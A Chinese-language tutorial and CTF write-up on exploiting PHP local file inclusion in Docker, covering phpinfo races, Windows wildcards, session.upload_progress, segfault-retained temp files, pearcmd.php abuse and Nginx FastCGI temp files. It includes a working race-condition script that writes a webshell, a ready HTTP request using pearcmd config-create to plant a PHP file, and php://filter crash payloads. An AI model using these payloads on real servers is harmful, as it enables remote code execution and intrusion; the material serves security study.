2024全网最全面及最新且最为详细的网络安全技巧 九之文件包含漏洞典例分析POC;EXP以及 如何防御和修复[含PHP源码和CTF精题WP详解](1)—— 作者:LJS

目录

9.1 Docker PHP裸文件本地包含综述

0x01 日志文件包含为什么不行?

0x02 phpinfo与条件竞争

0x03 Windows 通配符妙用

0x04 session.upload_progress与Session文件包含

0x05 Segfault遗留下TEMP文件

0x06 pearcmd.php的巧妙利用

0x07 参考链接

9.2 hxp CTF  - A New Novel LFI

9.2.1 背景

9.2.2 TL;DR

9.2.3Includer's revenge - Nginx Fastcgi Temp LFI

How To Produce Tmp Files

How Nginx Produce Tmp Files

client_body_in_file_only

fastcgi_store

cache

Tmp Files After Deleted

Bypass PHP File Stat

Chain Together

总结起来整个过程就是:


  • 9.1 Docker PHP裸文件本地包含综述

  • 这篇文章研究的题目是:在使用Docker官方的PHP镜像php:7.4-apache时,Web应用存在文件包含漏洞,在没有文件上传的情况下如何利用?
  • 我们可以使用docker启动一个服务器进行测试,命令
  • docker run -d --name web -p 8080:80 -v $(pwd):/var/www/html php:7.4-apache
  • 文件包含的代码如下:
  • <?php
    include $_REQUEST['file'];
  • 0x01 日志文件包含为什么不行?

  • 这个问题经常在实战中遇到了,特别是黑盒的情况下,功能点也少,找不到可以被包含的文件。通常此时我们会去尝试包含一些系统日志、Web日志等系统文件。
  • 但是,如果目标在Docker环境中会具有如下特点:
  • 容器只会运行Apache,所以没有第三方软件日志

  • Web日志重定向到了/dev/stdout/dev/stderr

  • 我们可以查看PHP的Dockerfile,会发现有几个日志文件都被使用标准输出、标准错误的软链接替代了:  
  • # logs should go to stdout / stderr
        ln -sfT /dev/stderr "$APACHE_LOG_DIR/error.log"; \
        ln -sfT /dev/stdout "$APACHE_LOG_DIR/access.log"; \
        ln -sfT /dev/stdout "$APACHE_LOG_DIR/other_vhosts_access.log"; \
        # ...
  • 此时包含这些Web日志会出现include(/dev/pts/0): failed to open stream: Permission denied的错误,因为PHP没有权限包含设备文件
  • 所以,利用日志包含来getshell的方法就无法进行了。
  • 远程包含因为默认不开启,所以我们也不作为一个候选项,想要getshell还是需要找到一个可以控制内容的文件进行包含
  • 0x02 phpinfo与条件竞争

  • 第二个想到的方法自然就是经典的临时文件包含,这个方法出自于Insomniasec的安全研究员Brett Moore在2011年的一篇Paper《LFI WITH PHPINFO() ASSISTANCE》。
  • 我们对任意一个PHP文件发送一个上传的数据包时,不管这个PHP服务后端是否有处理$_FILES的逻辑,PHP都会将用户上传的数据先保存到一个临时文件中,这个文件一般位于系统临时目录,文件名是php开头,后面跟6个随机字符;在整个PHP文件执行完毕后,这些上传的临时文件就会被清理掉。
  • 所以,临时文件的生命周期大概是这样(图来自Gynvael Coldwind):
  • image.png

  • 在从“PHP writes data to temp file”到“php removes temp files(if any)”这两个操作之间的这段时间,我们可以包含这个临时文件,最后完成getshell操作。但这里面暗藏了一个大坑就是,临时文件的文件名我们是不知道的
  • 所以这个利用的条件就是需要有一个地方能获取到文件名,例如phpinfo。phpinfo页面中会输出这次请求的所有信息,包括$_FILES变量的值其中包含完整文件名:
  • 但第二个难点就是,即使我们能够在目标网站上找到一个phpinfo页面并读取到临时文件名这个文件名也是这一次请求里的临时文件,在这次请求结束后这个临时文件就会被删掉,并不能在后面的文件包含请求中使用。
  • 所以此时需要利用到条件竞争(Race Condition),原理也好理解——我们用两个以上的线程来利用,其中一个发送上传包给phpinfo页面,并读取返回结果,找到临时文件名;第二个线程拿到这个文件名后马上进行包含利用。
  • 这是一个很理想的状态,现实情况下我们需要借助下面这些方法来提高成功率
  • 使用大量线程来进行第二个操作,来让包含操作尽可能早于临时文件被删除

  • 如果目标环境开启了output_buffering这个配置(在某些环境下是默认的),那么phpinfo的页面将会以流式,即chunked编码的方式返回。这样,我们可以不必等到phpinfo完全显示完成时就能够读取到临时文件名,这样成功率会更高

  • 我们可以在请求头、query string里插入大量垃圾字符来使phpinfo页面更大,返回的时间更久,这样临时文件保存的时间更长。但这个方法在不开启output_buffering时是没有影响的

  • 经过测试我发现,不管目标环境是否开启output_buffering,都可以利用成功,可能只是成功率有所差别:
  • image.png

  • 这里面的exp.py即为原作者给出的利用脚本。我在Docker PHP 7.4下用150线程进行了大概20次尝试,最终成功成功后会写入一个新的文件/tmp/g,这个文件就不会被删除了。
  • 这个利用方法有一处真实案例可以参考:《自如网某业务文件包含导致命令执行(LFI + PHPINFO getshell 实例)》。
  • 0x03 Windows 通配符妙用

  • 0x02中的利用方法需要两个条件
  • 存在phpinfo等可以泄露临时文件名的页面

  • 网络条件好,才能让Race Condition成功

  • lpFileName
  • The directory or path, and the file name. The file name can include wildcard characters, for example, an asterisk (*) or a question mark (?).
  • MSDN文档说明
  • The following wildcard characters can be used in the pattern string.
  • Wildcard character Meaning
  • * (asterisk) Matches zero or more characters.
  • ? (question mark) Matches a single character.
  • DOS_DOT Matches either a period or zero characters beyond the name string.
  • DOS_QM Matches any single character or, upon encountering a period or end of name string, advances the expression to the end of the set of contiguous DOS_QMs.
  • DOS_STAR Matches zero or more characters until encountering and matching the final . in the name.
  • //  The following constants provide addition meta characters to fully
  • //  support the more obscure aspects of DOS wild card processing.
  • #define DOS_STAR        (L'<')
  • #define DOS_QM          (L'>')
  • #define DOS_DOT         (L'"')
  • 特别是第一个,现在很少有机会让我们在实战中找到phpinfo页面。但是如果目标操作系统是Windows,我们可以借助一些特殊的Tricks来实现文件包含的利用。
  • PHP在读取Windows文件时,会使用到FindFirstFileExW这个Win32 API来查找文件,而这个API是支持使用通配符的:
  • 实际测试下来,PHP中星号和问号并不能直接作为通配符使用
  • 但我们在MSDN官方文档中还可以看到这样的说明:
  • 其中除了星号和问号外,还提到了三个特殊符号DOS_DOT、DOS_QM、DOS_STAR,虽然官方并没有在文档中给出他们对应的值具体是什么,但在ntifs.h头文件中还是能找到他们的定义:
  • 也就是说:
  • DOS_STAR:即 <,匹配0个以上的字符

  • DOS_QM:即>,匹配1个字符

  • DOS_DOT:即",匹配点号

  • 这样,我们在Windows下,可以使用上述通配符来替代临时文件名中的随机字符串:C:\Windows\Temp\php<<。(由于Windows内部的一些不太明确的原因,这里一般需要用两个<来匹配多个字符)
  • 我们直接向含有文件包含漏洞的页面发送一个上传包:
  • 根据前文给出的临时文件生命周期,我们上传的文件会在执行文件包含前被写入临时文件中;文件包含时我们借助Windows的通配符特性,在临时文件名未知的情况下成功包含,执行任意代码。
  • 说句题外话,这种上传文件的同时利用临时文件的操作,我在另一篇文章中也利用过,但是有的新人朋友还是很难理解这个过程:
  •  这确实是一个比较需要从程序员思维转换到黑客思维的过程,很多人最难理解的地方为什么明明看似是两个操作(文件上传+文件包含),却在一个请求中执行了,如果有这个疑问,那么还是需要再继续理解理解整个流程。
  • 0x04 session.upload_progress与Session文件包含

  • 上述的两个方法,其实都没有解决本篇文章遇到的问题,毕竟Docker环境即不存在phpinfo也不存在Windows特性。
  • 第三个方法也已经广为流传,PHP中可以通过session progress功能实现临时文件的写入。这种利用方式需要满足下面几个条件:
  • 目标环境开启了session.upload_progress.enable选项

  • 发送一个文件上传请求,其中包含一个文件表单和一个名字是PHP_SESSION_UPLOAD_PROGRESS的字段

  • 请求的Cookie中包含Session ID

  • 这个方法的原理是PHP在开启了session.upload_progress.enable后(在包括Docker的大部分环境下默认是开启的),将会把用户上传文件的信息保存在Session中,而PHP的Session默认是保存在文件里的。
  • 所以当攻击者发送满足上述条件的数据包时,就等于能够控制Session文件内容。
  • 我们可以尝试发送满足上述条件的数据包来测试一下,但会发现虽然我们可以让PHP开启Session,从而在/tmp目录下遗留下Session文件,但这个文件内容是空的。
  • 原因是,PHP中还有另外一个配置项session.upload_progress.cleanup,默认开启。在这个选项开启时,PHP会在上传请求被读取完成后自动清理掉这个Session,如果我们尝试把这个选项关闭,就可以读取到Session文件的内容了:
  •  注意的是如果我们只上传一个文件,这里也是不会遗留下Session文件的,所以表单里必须有两个以上的文件上传
  • 所以,默认情况下,我们需要在Session文件被清理前利用它,这也会用到条件竞争(Race Condition)。
  • 因为这里的Session文件名是可控的,所以相比于0x02的条件竞争,这个会简单很多。我写了一个小脚本来利用,几乎没有失败过:
  • import threading
    import requests
    from concurrent.futures import ThreadPoolExecutor, wait
    
    # 目标服务器地址
    target = 'http://192.168.1.162:8080/index.php'
    # 创建一个请求会话对象
    session = requests.session()
    # 用于标识上传是否成功的标志字符串
    flag = 'helloworld'
    
    # 定义上传函数
    def upload(e: threading.Event):
        # 要上传的文件数据
        files = [
            ('file', ('load.png', b'a' * 40960, 'image/png')),
        ]
        # 生成的 POST 数据,包含 PHP 代码
        data = {'PHP_SESSION_UPLOAD_PROGRESS': rf'''<?php file_put_contents('/tmp/success', '<?=phpinfo()?>'); echo('{flag}'); ?>'''}
    
        # 循环直到事件被设置(即检测到上传成功)
        while not e.is_set():
            # 向目标服务器发送 POST 请求上传文件和数据
            requests.post(
                target,
                data=data,
                files=files,
                cookies={'PHPSESSID': flag},
            )
    
    # 定义写入检测函数
    def write(e: threading.Event):
        # 循环直到事件被设置(即检测到上传成功)
        while not e.is_set():
            # 向目标服务器发送 GET 请求以检测上传结果
            response = requests.get(
                f'{target}?file=/tmp/sess_{flag}',
            )
    
            # 如果响应内容中包含标志字符串,则设置事件
            if flag.encode() in response.content:
                e.set()
    
    if __name__ == '__main__':
        futures = []
        # 创建一个线程事件对象,用于线程间通信
        event = threading.Event()
        # 创建一个线程池,最多允许 15 个线程同时运行
        pool = ThreadPoolExecutor(15)
    
        # 提交 10 个上传任务到线程池
        for i in range(10):
            futures.append(pool.submit(upload, event))
    
        # 提交 5 个写入检测任务到线程池
        for i in range(5):
            futures.append(pool.submit(write, event))
    
        # 等待所有提交的任务完成
        wait(futures)
    
  • 脚本执行完毕后会在目标中写入/tmp/success文件,里面即为Webshell:
  • image.png

  • 0x05 Segfault遗留下TEMP文件

  • 那么,如果关闭了session.upload_progress.enable,是否还有其他利用方法呢?
  • 我们的目的是在服务器上留下一个内容可控的文件,最简单的方法就是利用上传包的临时文件。但这个临时文件之所以不能直接利用,原因有两点:
  • 临时文件名是随机的

  • 临时文件在请求结束后会被删除

  • 4.4. The Script Command Line
  • Some systems support a method for supplying an array of strings to the CGI script. This is only used in the case of an 'indexed' HTTP query, which is identified by a 'GET' or 'HEAD' request with a URI query string that does not contain any unencoded "=" characters. For such a request, the server SHOULD treat the query-string as a search-string and parse it into words, using the rules
  • search-string = search-word ( "+" search-word ) search-word = 1schar schar = unreserved | escaped | xreserved xreserved = ";" | "/" | "?" | ":" | "@" | "&" | "=" | "," | "$"
  • After parsing, each search-word is URL-decoded, optionally encoded in a system-defined manner and then added to the command line argument list.

  • 如果说第一点我们可以通过爆破来解决,那么第二点是一定无法同时解决的——我们不可能在请求结束前爆破出临时文件名。
  • 经过上面的分析,我们很容易想到一种解决方案:如果我们可以让PHP进程在请求结束前出现异常退出执行,那么临时文件就可以免于被删除了
  • PHP底层是C语言开发的,不少内存错误都会导致进程异常退出,当然不论是Apache还是PHP-FPM都会存在master进程,在某一个子进程异常退出后会拉起新的进程来处理用户请求,不用担心搞挂服务器。
  •  国内的安全研究者@王一航 曾发现过一个会导致PHP crash的方法:
  • include 'php://filter/string.strip_tags/resource=/etc/passwd';
  • 正好用在文件包含的逻辑中。
  • 这个Bug在7.1.20以后被修复,也没有留下更新日志,我们可以使用7.1.19版本的PHP进行尝试。向文件包含的目标发送这个导致crash的路径,可见服务器已经挂了,返回空白:
  • 我们可以尝试发送10次这个请求,然后来到容器里,可见有10个临时文件都被留在了/tmp目录里:
  • image.png

  • 这就好办了,我们剩下的工作就是爆破这10个临时文件的文件名。只要任意一个命中即可。
  • 我们也可以在一个数据包里多放一些文件表单(默认最多可以有20个),然后多发送几次数据包,这样就可以在遗留下很多临时文件,极大地增加了爆破成功率,减少了爆破所需要的时间。
  • 类似的还有后来@wupco发现的php://filter中另一个可以导致crash的方法,测试代码是:
  • <?php
    file(urldecode('php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAFAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA'));
  • 不过在文件包含场景下,这个POC涉及到data:协议会因为allow_url_include=Off而失败
  • 除了这些利用文件包含本身来crash PHP进程的方法以外,通过一些更通用的无需依赖代码的crash方法也存在,比如PHP :: Sec Bug #78875 :: Long filenames cause OOM and temp files are not cleanedPHP :: Sec Bug #78876 :: Long variables in multipart/form-data cause OOM and temp files are not cleaned,但都有一些额外条件。
  • 好在PHP是一个开源的语言,后续我们可以通过阅读底层源码,找找能在最新版本下利用的新crash点。
  • 0x06 pearcmd.php的巧妙利用

  • 最后这个是我想介绍的被我“捂烂了”的trick,就是利用pearcmd.php这个pecl/pear中的文件。
  • pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。
  • 不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php
  • 原本pear/pcel是一个命令行工具,并不在Web目录下,即使存在一些安全隐患也无需担心。但我们遇到的场景比较特殊,是一个文件包含的场景,那么我们就可以包含到pear中的文件,进而利用其中的特性来搞事。
  • 我最早的时候是在阅读phpinfo()的过程中,发现Docker环境下的PHP会开启register_argc_argv这个配置。文档中对这个选项的介绍不是特别清楚,大概的意思是,当开启了这个选项,用户的输入将会被赋予给$argc$argv$_SERVER['argv']几个变量。
  • 如果PHP以命令行的形式运行(即sapi是cli),这里很好理解。但如果PHP以Server的形式运行,且又开启了register_argc_argv,那么这其中是怎么处理的?
  • 我们在PHP源码中可以看到这样的逻辑:
  • static zend_bool php_auto_globals_create_server(zend_string *name)
    {
        // 检查是否在 PHP 的变量顺序中包含了 'S' 或 's',即是否需要处理服务器变量
        if (PG(variables_order) && (strchr(PG(variables_order), 'S') || strchr(PG(variables_order), 's'))) {
            // 注册服务器变量
            php_register_server_variables();
    
            // 如果启用了 register_argc_argv
            if (PG(register_argc_argv)) {
                // 如果有命令行参数
                if (SG(request_info).argc) {
                    zval *argc, *argv;
    
                    // 从符号表中获取 argc 和 argv
                    if ((argc = zend_hash_find_ex_ind(&EG(symbol_table), ZSTR_KNOWN(ZEND_STR_ARGC), 1)) != NULL &&
                        (argv = zend_hash_find_ex_ind(&EG(symbol_table), ZSTR_KNOWN(ZEND_STR_ARGV), 1)) != NULL) {
                        // 增加 argv 的引用计数
                        Z_ADDREF_P(argv);
                        // 更新服务器变量数组中的 ARGv 和 ARGc
                        zend_hash_update(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), ZSTR_KNOWN(ZEND_STR_ARGV), argv);
                        zend_hash_update(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), ZSTR_KNOWN(ZEND_STR_ARGC), argc);
                    }
                } else {
                    // 如果没有命令行参数,则使用查询字符串构建 argv
                    php_build_argv(SG(request_info).query_string, &PG(http_globals)[TRACK_VARS_SERVER]);
                }
            }
    
        } else {
            // 如果变量顺序中不包含 'S' 或 's',则清空服务器变量数组
            zval_ptr_dtor_nogc(&PG(http_globals)[TRACK_VARS_SERVER]);
            array_init(&PG(http_globals)[TRACK_VARS_SERVER]);
        }
    
        return 1;
    }
    
  • 第一个if语句判断variables_order中是否有S,即$_SERVER变量;第二个if语句判断是否开启register_argc_argv,第三个if语句判断是否有request_info.argc存在,如果不存在,其执行的是这条语句
  • php_build_argv(SG(request_info).query_string, &PG(http_globals)[TRACK_VARS_SERVER]);
  • 无论php_build_argv函数内部是怎么处理的,SG(request_info).query_string都非常吸引我,这段代码是否意味着,HTTP数据包中的query-string会被作为argv的值?
  • 果然:
  • 无论php_build_argv函数内部是怎么处理的,SG(request_info).query_string都非常吸引我,这段代码是否意味着,HTTP数据包中的query-string会被作为argv的值?
  • 果然:
  •  其实这个结果是符合RFC3875的:
  • RFC3875中规定如果query-string中不包含没有编码的=,且请求是GET或HEAD,则query-string需要被作为命令行参数。
  • 当年PHP-CGI曾在这上面栽过跟头,具体的细节可以参考这篇文章:《PHP-CGI远程代码执行漏洞(CVE-2012-1823)分析》。PHP现在仍然没有严格按照RFC来处理,即使我们传入的query-string包含等号,也仍会被赋值给$_SERVER['argv']
  • 我们再来看到pear中获取命令行argv的函数:
  • public static function readPHPArgv()
    {
        global $argv;  // 引入全局变量 $argv,这个变量通常包含命令行参数的数组
    
        // 检查 $argv 是否是一个数组
        if (!is_array($argv)) {
            // 如果 $argv 不是数组,尝试从 $_SERVER 中获取命令行参数
            if (!@is_array($_SERVER['argv'])) {
                // 如果 $_SERVER['argv'] 也不是数组,尝试从 $GLOBALS['HTTP_SERVER_VARS'] 中获取命令行参数
                if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
                    // 如果所有的获取尝试都失败,返回一个错误信息
                    $msg = "无法读取命令行参数 (register_argc_argv=Off?)";
                    return PEAR::raiseError("Console_Getopt: " . $msg);
                }
                // 如果从 $GLOBALS['HTTP_SERVER_VARS'] 成功获取到参数,返回它
                return $GLOBALS['HTTP_SERVER_VARS']['argv'];
            }
            // 如果从 $_SERVER 成功获取到参数,返回它
            return $_SERVER['argv'];
        }
        // 如果全局变量 $argv 是数组,则直接返回它
        return $argv;
    }
    
  • 先尝试$argv,如果不存在再尝试$_SERVER['argv'],后者我们可通过query-string控制。也就是说,我们通过Web访问了pear命令行的功能,且能够控制命令行的参数。
  • 看看pear中有哪些可以利用的参数:
  • 第一眼就看到config-create,阅读其代码和帮助,可以知道,这个命令需要传入两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中。
  • 所以,构造出最后的利用数据包如下:
  • GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
    Host: 192.168.1.162:8080
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
    Connection: close
  • 发送这个数据包,目标将会写入一个文件/tmp/hello.php,其内容包含<?=phpinfo()?>
  • 然后,我们再利用文件包含漏洞包含这个文件即可getshell:
  • 然后,我们再利用文件包含漏洞包含这个文件即可getshell:  
  •  最后这个利用方法,无需条件竞争,也没有额外其他的版本限制等,只要是Docker启动的PHP环境即可通过上述一个数据包搞定。
  • 0x07 参考链接

  • https://dl.packetstormsecurity.net/papers/general/LFI_With_PHPInfo_Assitance.pdf

  • http://www.madchat.fr/coding/php/secu/onsec.whitepaper-02.eng.pdf

  • c++ - FindFirstFile undocumented wildcard or bug? - Stack Overflow

  • winapi - FindFirstFile(Ex) wildcard characters - Stack Overflow

  • FsRtlIsNameInExpression function (ntifs.h) - Windows drivers | Microsoft Learn

  • LFI via SegmentFault - 简书

  • PHP :: Sec Bug #77231 :: Segfault when using convert.quoted-printable-encode filter

  • http://www.ietf.org/rfc/rfc3875

  • 9.2 hxp CTF  - A New Novel LFI

  • 9.2.1 背景

  • 之前举办的 hxp CTF ,其中有两个 PHP Web 题目令人印象深刻,也产生了一种让我拍手称快的、对我来说算是新的 LFI 方法,这里就将本次比赛题目分析写一下。当然我不确定这个是不是新方法,若有错误,希望各位师傅们斧正,多多海涵。
  • 9.2.2 TL;DR

  • Nginx 在后端 Fastcgi 响应过大 或 请求正文 body 过大时会产生临时文件

  • 通过多重链接绕过 PHP LFI stat 限制完成 LFI

  • More ActionsSyntax:`fastcgi_buffering on \| off;`
  • Syntax:
  • fastcgi_buffering on \| off;
  • Default:
  • fastcgi_buffering on;
  • Context:
  • http, server, location
  • This directive appeared in version 1.5.6.
  • Enables or disables buffering of responses from the FastCGI server.
  • When buffering is enabled, nginx receives a response from the FastCGI server as soon as possible, saving it into the buffers set by the fastcgi_buffer_size and fastcgi_buffers directives. If the whole response does not fit into memory, a part of it can be saved to a temporary file on the disk. Writing to temporary files is controlled by the fastcgi_max_temp_file_size and fastcgi_temp_file_write_size directives.
  • When buffering is disabled, the response is passed to a client synchronously, immediately as it is received. nginx will not try to read the whole response from the FastCGI server. The maximum size of the data that nginx can receive from the server at a time is set by the fastcgi_buffer_size directive.
  • Buffering can also be enabled or disabled by passing “yes” or “no” in the “X-Accel-Buffering” response header field. This capability can be disabled using the fastcgi_ignore_headers directive.
  •  本文主要介绍 hxp CTF 2021 中的两种新的 LFI 方法,第一部分主要介绍第一种方法,主要分析 Nginx 部分源码;第二部分简略介绍第二种方法。
  • 9.2.3Includer's revenge - Nginx Fastcgi Temp LFI

  • 附件地址:https://2021.ctf.link/assets/files/includer's%20revenge-25377e1ebb23d014.tar.xz
  • 题目代码比较简单:
  • <?php 
    ($_GET['action'] ?? 'read' ) === 'read' ? readfile($_GET['file'] ?? 'index.php') : include_once($_GET['file'] ?? 'index.php');
  • 可以说是 onelinephp 了,当然如果光看这些代码,我们可以直接用 36c3 hxp CTF includer 的解法解掉,用 compress.zip://http:// 产生临时文件,包含即可,具体可以看看我之前写的 writeup :36c3 学习记录#inlcuder
  • 当然这里既然标了 revenge 肯定说明有一些不同的地方,结合题目给我们的附件,我们可以发现相对上一次 includer 题目有了比较大区别,主要在 Dockerfile 里面:
  • RUN chown -R root:root /var/www && \
        find /var/www -type d -exec chmod 555 {} \; && \
        find /var/www -type f -exec chmod 444 {} \; && \
        chown -R root:root /tmp /var/tmp /var/lib/php/sessions && \
        chmod -R 000 /tmp /var/tmp /var/lib/php/sessions
  • 出题人这里竟然狠心把 php tmp 目录以及一些临时目录都弄得不可写了,所以导致之前题目的产生临时文件的方法就失效了。
  • 所以很明显,我们需要找到另一个产生临时文件,将其包含的方法。
  • How To Produce Tmp Files

  • 由于之前我觉得 36c3 includer 那个题出的真是令我很赞叹,在某些比赛出题的时候,我也考虑过 php 是不是可以有其他产生临时文件的方法,所以自己也去看了一段时间 php 源码,其产生临时文件主要是通过 php_stream_fopen_tmpfile 这个函数,然而这个函数调用都没几处,所以之前我太菜了就没有挖到了,所以根据我之前的经验,在这里可能并不是 php 的原因。
  • 所以我并没有过多纠结 php 的问题,在 Dockerfile 中我注意到出题人有一行可能类似于 Tip 的操作
  • RUN ! find / -writable -or -user $(id -un) -or -group $(id -Gn|sed -e 's/ / -or -group /g') 2> /dev/null | grep -Ev -m 1 '^(/dev/|/run/|/proc/|/sys/|/var/lock|/var/log/nginx/error.log|/var/log/nginx/access.log)
  •  既然我们要找一个 www-data 用户可写的地方,我们可以参考这个命令把系统中所有的都找出来,看看有没有什么猫腻:
  • /dev/core
    /dev/stderr
    /dev/stdout
    /dev/stdin
    /dev/fd
    /dev/ptmx
    /dev/urandom
    /dev/zero
    /dev/tty
    /dev/full
    /dev/random
    /dev/null
    /dev/shm
    /dev/mqueue
    /dev/pts/1
    /dev/pts/ptmx
    /run/lock
    /run/php
    /run/php/php7.4-fpm.sock
    /run/php/php7.4-fpm.pid
    /proc/keys
    /proc/kcore
    /proc/timer_list
    /proc/sched_debug
    /var/lock
    /var/lib/nginx/scgi
    /var/lib/nginx/body
    /var/lib/nginx/uwsgi
    /var/lib/nginx/proxy
    /var/lib/nginx/fastcgi
    /var/log/nginx/access.log
    /var/log/nginx/error.log
  • 以上我略去了很多 /proc/xxxx ,所以挨个看下来,很明显,似乎后面 nginx 的可能就是我们要的答案,我们可以在网络上搜索一下相关目录用来干嘛的,最后发现 /var/lib/nginx/fastcgi 目录是 Nginx 的 http-fastcgi-temp-path ,看到 temp 这里就感觉很有意思了,意味着我们可能通过 Nginx 来产生一些文件,并且通过一些搜索我们知道这些临时文件格式是: /var/lib/nginx/fastcgi/x/y/0000000yx
  • 那这临时文件用来干嘛呢?通过阅读 Nginx 文档 fastcgi_buffering 部分
  • 我们大致可以知道当 Nginx 接收来自 FastCGI 的响应时,若大小超过限定值不适合以内存的形式来存储的时候,一部分就会以临时文件的方式保存到磁盘上。
  • 再通过一些资料了解[1][2],这个阈值的大小大概在 32KB 左右,并且又根据 Risks of nginx fastcgi buffering or, how iTunes can mess with your Nextcloud server 章我们可以知道 Nginx 确实可以在 /var/lib/nginx/fastcgi 下产生临时文件。
  • 那么接下来我们只需要简单验证一下,并看一下临时文件内容是什么。我这里简单使用了 python 产生了一个有顺序内容的 tmp 文件:
  • with open("tmp") as file:
      for i in range(500000):
        file.write("%5s" % str(i))
  • 尝试测试,发现虽然产生了文件夹,但是没有文件,于是我加上了 inotify 监控一下文件行动,并且可以使用 strace 进一步确认:
  • 1.png

  • 我们可以从 inotify 中看到,几乎 Nginx 是创建完文件就立即删除了,但是我们可以基本确认 Nginx 确实可以产生临时文件,只不过创建就被删除了导致我们无法判断文件内容到底是啥。
  • 同时我们可以发现 Niginx 创建临时文件有所规律,为了检查文件内容,我们可以计算出下一次 Nginx 产生临时文件的位置,再对其上级目录使用 chattr +a 临时禁止临时文件删除这样我们就可以看到文件内容了:
  • 2.png

  •  可以看到临时文件内容就是我们远程 vps 上放的 tmp 文件内容的一部分。
  • How Nginx Produce Tmp Files

  • 接着问题来了:为什么 Nginx 创建文件就立即删除了?有没有窗口期?能不能使用竞争包含呢?
  • 为了弄懂这些问题,便只能直接看 Nginx 源码了,于是直接参考一些 debug 教程弄一个 debug 环境起来即可。
  • Nginx 关于临时文件的地方并不多,不难找到 ngx_open_tempfile这个函数:
  • ngx_fd_t
    ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access)
    {
        ngx_fd_t  fd;
    
        // 打开一个临时文件,如果文件不存在则创建它
        // O_CREAT: 如果文件不存在,则创建一个新文件
        // O_EXCL: 如果文件已经存在,则操作失败
        // O_RDWR: 以读写模式打开文件
        // access ? access : 0600: 使用提供的访问权限,如果没有提供,则默认使用0600(所有者读写)
        fd = open((const char *) name, O_CREAT|O_EXCL|O_RDWR,
                  access ? access : 0600);
    
        // 如果文件打开成功且不需要持久化
        // 删除临时文件,文件描述符仍然有效
        if (fd != -1 && !persistent) {
            (void) unlink((const char *) name);
        }
    
        // 返回文件描述符
        return fd;
    }
    
  • Fastcgi 产生临时文件时候的调用栈:  
  • ngx_create_temp_file(ngx_file_t * file, ngx_path_t * path, ngx_pool_t * pool, ngx_uint_t persistent, ngx_uint_t clean, ngx_uint_t access) (/home/zeddy/Desktop/nginx-1.18.0/src/core/ngx_file.c:143)
    ngx_write_chain_to_temp_file(ngx_temp_file_t * tf, ngx_chain_t * chain) (/home/zeddy/Desktop/nginx-1.18.0/src/core/ngx_file.c:114)
    ngx_event_pipe_write_chain_to_temp_file(ngx_event_pipe_t * p) (/home/zeddy/Desktop/nginx-1.18.0/src/event/ngx_event_pipe.c:843)
    ngx_event_pipe_read_upstream(ngx_event_pipe_t * p) (/home/zeddy/Desktop/nginx-1.18.0/src/event/ngx_event_pipe.c:277)
    ngx_event_pipe(ngx_event_pipe_t * p, ngx_int_t do_write) (/home/zeddy/Desktop/nginx-1.18.0/src/event/ngx_event_pipe.c:49)
    ngx_http_upstream_process_upstream(ngx_http_request_t * r, ngx_http_upstream_t * u) (/home/zeddy/Desktop/nginx-1.18.0/src/http/ngx_http_upstream.c:3944)
    ngx_http_upstream_handler(ngx_event_t * ev) (/home/zeddy/Desktop/nginx-1.18.0/src/http/ngx_http_upstream.c:1286)
    ngx_epoll_process_events(ngx_cycle_t * cycle, ngx_msec_t timer, ngx_uint_t flags) (/home/zeddy/Desktop/nginx-1.18.0/src/event/modules/ngx_epoll_module.c:901)
    ngx_process_events_and_timers(ngx_cycle_t * cycle) (/home/zeddy/Desktop/nginx-1.18.0/src/event/ngx_event.c:247)
    ngx_single_process_cycle(ngx_cycle_t * cycle) (/home/zeddy/Desktop/nginx-1.18.0/src/os/unix/ngx_process_cycle.c:310)
    main(int argc, char * const * argv) (/home/zeddy/Desktop/nginx-1.18.0/src/core/nginx.c:379)
  • 我们从中可以知道如果要让 Nginx 保存临时文件,得满足一个 if 条件,然而我们仔细看该条件,由于是条件,我们可以知道得同时满足才能进入该 if 条件,我们分析一下该 if 条件
  • fd != -1 : fdopen 函数的返回值,我们可以知道只有当 open 函数打开失败的时候才会返回 -1 ,也就是该临时文件不存在的情况下,换句话说就是只要临时文件被 open 函数成功打开,这个条件就是成立的

  • persistent: 该条件从函数上下文我们看不出来有什么关系,需要更进一步分析,通过分析代码,我们可以发现该变量主要在以下三个地方可能被赋值为 1 :

  • 一个地方是 src/http/ngx_http_request_body.c#456 处:tf->persistent = r->request_body_in_persistent_file;

  • 另一个地方是 src/http/ngx_http_upstream.c#4087 处: tf->persistent = 1;

  • 还有一个地方是 src/http/ngx_http_upstream.c#3144 处: p->temp_file->persistent = 1;

  • Syntax:
  • client_body_in_file_only on | clean | off;
  • Default:
  • client_body_in_file_only off;
  • Context:
  • http, server, location
  • Determines whether nginx should save the entire client request body into a file. This directive can be used during debugging, or when using the $request_body_file variable, or the $r->request_body_file method of the module ngx_http_perl_module.
  • When set to the value on, temporary files are not removed after request processing.
  • The value clean will cause the temporary files left after request processing to be removed.
  • Syntax:
  • fastcgi_store on | off | string;
  • Default:
  • fastcgi_store off;
  • Context:
  • http, server, location
  • Enables saving of files to a disk. The on parameter saves files with paths corresponding to the directives alias or root.
  • On Linux, the set of file descriptors open in a process can be accessed under the path /proc/PID/fd/, where PID is the process identifier.
  • php_sys_lstat()实际上就是linux的lstat(),这个函数是用来获取一些文件相关的信息,成功执行时,返回0。失败返回-1,并且会设置errno,因为之前符号链接过多,所以errno就都是ELOOP,符号链接的循环数量真正取决于SYMLOOP_MAX,这是个runtime-value,它的值不能小于_POSIX_SYMLOOP_MAX
  • 我们分别对这几个地方进行详细分析及跟进。
  • client_body_in_file_only
